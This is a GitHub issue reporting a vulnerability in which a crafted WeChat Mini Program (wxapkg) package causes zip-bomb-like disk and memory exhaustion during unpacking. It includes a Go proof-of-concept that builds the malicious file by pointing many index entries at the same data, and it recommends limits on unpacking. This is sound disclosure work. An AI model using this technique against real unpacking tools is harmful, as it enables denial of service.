Skip to content

Malicious wxapkg File May Cause Zip Bomb-like Resource Exhaustion #86

@ac0d3r

Description

@ac0d3r

Vulnerability Report: Malicious wxapkg File May Cause Zip Bomb-like Resource Exhaustion

Summary:
A specially crafted wxapkg (WeChat Mini Program package) file can cause excessive resource consumption during decompression or parsing, similar in effect to a zip bomb. This can lead to denial of service or failure of tools processing such files.

Vulnerability Details:
The wxapkg file format lacks sufficient validation for internal file size metadata. By exploiting this, an attacker can create a wxapkg that appears small but expands into an abnormally large size upon unpacking, consuming excessive disk space and memory.

Impact:
Processing such a malicious wxapkg file can result in:

  • Unusually high disk space usage
  • Excessive memory consumption

Proof of Concept (PoC):

func createTestWxapkg1() []byte {
	var buf bytes.Buffer

	// header
	buf.WriteByte(0xBE)

	binary.Write(&buf, binary.BigEndian, uint32(0))

	indexLenPos := buf.Len()
	binary.Write(&buf, binary.BigEndian, uint32(0)) // indexInfoLength
	binary.Write(&buf, binary.BigEndian, uint32(0)) // bodyInfoLength

	buf.WriteByte(0xED)

	// files
	number := 100                                        // TODO Can be modified to a larger number
	binary.Write(&buf, binary.BigEndian, uint32(number)) // files number

	indexStart := buf.Len()

	fileContent := []byte("foobar") // TODO Fill with junk content

	// Calculate the file content offset position in advance
	dataPos := indexStart
	for idx := range number {
		dataPos += 4 + len(fmt.Sprintf("foo-%d.txt", idx)) + 8
	}

	for idx := range number {
		fname := fmt.Sprintf("foo-%d.txt", idx)
		binary.Write(&buf, binary.BigEndian, uint32(len(fname)))
		buf.WriteString(fname)

		// Point all file contents to the same location
		binary.Write(&buf, binary.BigEndian, uint32(dataPos))
		binary.Write(&buf, binary.BigEndian, uint32(len(fileContent)))
	}

	buf.Write(fileContent)

	b := buf.Bytes()
	binary.BigEndian.PutUint32(b[indexLenPos:], uint32(buf.Len()-indexStart))
	binary.BigEndian.PutUint32(b[indexLenPos+4:], uint32(len(fileContent)))

	return buf.Bytes()
}

func TestUnPack(t *testing.T) {
	data := createTestWxapkg1()
	t.Log(UnpackWxapkg(data, "./foo"))
}
Image

Recommendations:

  • Enforce strict limits on the number of unpacked files
  • Set a maximum directory or nesting depth during unpacking

Severity: Medium

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions